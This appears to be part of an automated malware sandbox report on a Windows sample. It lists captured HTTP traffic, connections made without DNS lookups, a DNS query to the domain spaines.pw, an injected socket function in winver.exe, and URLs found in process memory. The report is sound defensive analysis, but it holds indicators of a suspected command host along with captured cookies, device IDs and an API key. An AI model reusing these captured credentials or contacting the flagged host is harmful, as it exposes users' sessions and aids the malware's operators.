HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A4109000CC6X-BM-CBT: 1696420817X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 60X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Device-ClientSession: 0912CF9094994CFA88DE52C6FB19D4E1X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A4109000CC6X-MSEdge-ExternalExp: bfbwsbrs0830tf,d-thshldspcl40,msbdsborgv2co,msbwdsbi920t1,spofglclicksh-c2,webtophit0r_t,wsbmsaqfuxtc,wsbqfasmsall_t,wsbqfminiserp400,wsbref-tX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=0; DaylightBias=-60; TimeZoneKeyName=GMT Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 2237Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=6666694284484FA1B35CCB433D42E997; _SS=SID=193A581F83766B4319784BBF829B6A16&CPID=1696420820117&AC=1&CPH=e5c79613&CBV=39942242; _EDGE_S=SID=193A581F83766B4319784BBF829B6A16; SRCHUID=V=2&GUID=BA43D82178364AEA9C1EE6C32BE93416&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231003; SRCHHPGUSR=SRCHLANG=en&LUT=1696420817741&IPMH=425591ef&IPMID=1696420817913&HV=1696417346; ANON=A=6D8F9DF00282E660E425530EFFFFFFFF; CortanaAppUID=4C9C2B2D0465FD7A42C74C7E93CFB630; MUIDB=6666694284484FA1B35CCB433D42E997

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\SysWOW64\winver.exe

Code function: 2_2_03392F88 send,send,recv,closesocket,

2_2_03392F88

Source: unknown

DNS traffic detected: queries for: spaines.pw

Source: unknown

Source: explorer.exe, 00000003.00000000.1634162143.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3031801494.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2985052008.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1636199688.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: svchost.exe, 00000006.00000002.2961228667.0000019E29FBD000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000000.1718586388.0000019E29FBD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0
Source: explorer.exe, 00000003.00000000.1634162143.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3031801494.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2985052008.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1636199688.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: svchost.exe, 00000006.00000002.2961228667.0000019E29FBD000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000000.1718586388.0000019E29FBD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl07
Source: SearchApp.exe, 0000000B.00000000.1771919499.0000024B425C1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: explorer.exe, 00000003.00000000.1634162143.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3031801494.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2985052008.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1636199688.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: svchost.exe, 00000006.00000002.2961228667.0000019E29FBD000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000000.1718586388.0000019E29FBD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG3.crl0
Source: explorer.exe, 00000003.00000000.1634162143.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3031801494.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2985052008.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1636199688.000000000982D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.2961228667.0000019E29FBD000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000000.1718586388.0000019E29FBD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: SearchApp.exe, 0000000B.00000000.1771919499.0000024B425C1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: explorer.exe, 00000003.00000002.2985052008.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: SearchApp.exe, 0000000B.00000000.1755006893.000002433B7BB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: explorer.exe, 00000003.00000002.3045067363.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1635099926.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000002.3023688229.0000000008720000.00000002.00000001.00040000.00000000.sdmp, RuntimeBroker.exe, 0000000A.00000002.2963352033.000001ECFC470000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: svchost.exe, 00000005.00000002.2919603174.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715089541.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000005.00000002.2919603174.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715089541.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 00000005.00000000.1715061141.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2917556566.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2922265482.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715147840.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com
Source: explorer.exe, 00000003.00000000.1638855988.000000000C893000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3059382822.000000000C893000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: svchost.exe, 00000005.00000000.1715061141.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2917556566.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.comt
Source: SearchApp.exe, 0000000B.00000000.1771194064.0000024B423E8000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1755590053.0000024340029000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaotak
Source: SearchApp.exe, 0000000B.00000000.1767315960.0000024B41F45000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingrms
Source: SearchApp.exe, 0000000B.00000000.1767315960.0000024B41F45000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=wsb
Source: explorer.exe, 00000003.00000000.1634162143.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2985052008.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000003.00000000.1634162143.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2985052008.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirmr
Source: explorer.exe, 00000003.00000000.1638855988.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3059382822.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000003.00000002.3031801494.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1636199688.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000003.00000002.3031801494.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1636199688.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000003.00000002.2944847017.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1632391026.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1633247183.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2905026359.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000003.00000002.3031801494.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1636199688.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
Source: explorer.exe, 00000003.00000002.3031801494.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1636199688.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000003.00000002.3031801494.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1636199688.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comi
Source: svchost.exe, 00000005.00000000.1715119977.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715061141.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2917556566.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2921088315.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com
Source: svchost.exe, 00000005.00000000.1715061141.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2917556566.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets
Source: svchost.exe, 00000005.00000000.1715061141.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2917556566.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2922265482.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715147840.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets/$batch
Source: svchost.exe, 00000005.00000000.1715119977.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2921088315.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.comer
Source: svchost.exe, 00000005.00000000.1715061141.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2917556566.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.coms
Source: explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: svchost.exe, 00000005.00000002.2917556566.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://bn2-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000006.00000000.1718218734.0000019E297F1000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.2947061368.0000019E297F1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.onenote.net/livetile/?Language=en-GB
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000003.00000002.2985052008.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000003.00000002.2985052008.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: explorer.exe, 00000003.00000000.1638855988.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3059382822.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: StartMenuExperienceHost.exe, 00000009.00000002.2905023866.000001B98144E000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000000.1728659205.000001B98144E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.comcp
Source: SearchApp.exe, 0000000B.00000000.1808464287.0000024B44916000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://fb.me/react-polyfills
Source: SearchApp.exe, 0000000B.00000000.1808464287.0000024B44916000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://fb.me/react-polyfillsThis
Source: SearchApp.exe, 0000000B.00000000.1769491887.0000024B42180000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://gcc.loki.delve.office.com/api
Source: SearchApp.exe, 0000000B.00000000.1769491887.0000024B42180000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://gcchigh.loki.office365.us/api/
Source: svchost.exe, 00000005.00000002.2917556566.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://global.notify.windows.com/v2/register/xplatform/device
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000003.00000002.2985052008.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: svchost.exe, 00000005.00000002.2922265482.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715147840.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: svchost.exe, 00000005.00000002.2922265482.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715147840.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: svchost.exe, 00000005.00000000.1715119977.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2921088315.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.local
Source: svchost.exe, 00000005.00000000.1715119977.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2921088315.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.local/
Source: svchost.exe, 00000005.00000002.2922265482.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715147840.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1771563723.0000024B4248E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net
Source: svchost.exe, 00000005.00000002.2922265482.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715147840.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/
Source: SearchApp.exe, 0000000B.00000000.1769589682.0000024B4218C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://loki.delve.office.com/api
Source: SearchApp.exe, 0000000B.00000000.1769589682.0000024B4218C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://msit.loki.delve.office.com/apiQ
Source: StartMenuExperienceHost.exe, 00000009.00000002.2911384205.000001B9814D0000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000000.1728745445.000001B9814D0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 00000003.00000000.1638855988.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3059382822.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com_
Source: SearchApp.exe, 0000000B.00000000.1805286472.0000024B447CF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.office.com/M365.Access
Source: SearchApp.exe, 0000000B.00000000.1763641682.0000024B41B40000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.office.com/User.ReadWriteK
Source: SearchApp.exe, 0000000B.00000000.1829269370.0000024B55259000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.office365.com/mail/deeplink/attachment/
Source: explorer.exe, 00000003.00000000.1638855988.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3059382822.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: StartMenuExperienceHost.exe, 00000009.00000002.2905023866.000001B98144E000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000000.1728659205.000001B98144E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comxee
Source: SearchApp.exe, 0000000B.00000000.1766436902.0000024B41E30000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://searchapp.bundleassets.example/desktop/2.html
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: SearchApp.exe, 0000000B.00000000.1763641682.0000024B41B40000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://substrate.office.com/M365.Access
Source: SearchApp.exe, 0000000B.00000000.1829269370.0000024B55259000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://substrate.office.com/SubstrateSearch-Internal.ReadWriteO
Source: SearchApp.exe, 0000000B.00000000.1829269370.0000024B55259000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://substrate.office.com/search/api/v1/events?scenario=
Source: smartscreen.exe, 00000010.00000002.2966541027.000001A22A337000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us
Source: smartscreen.exe, 00000010.00000002.2966541027.000001A22A337000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us
Source: smartscreen.exe, 00000010.00000002.2966541027.000001A22A337000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us
Source: SearchApp.exe, 0000000B.00000000.1752124326.0000024339C00000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.cn/shellRESP
Source: SearchApp.exe, 0000000B.00000000.1752124326.0000024339C00000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com/shell
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
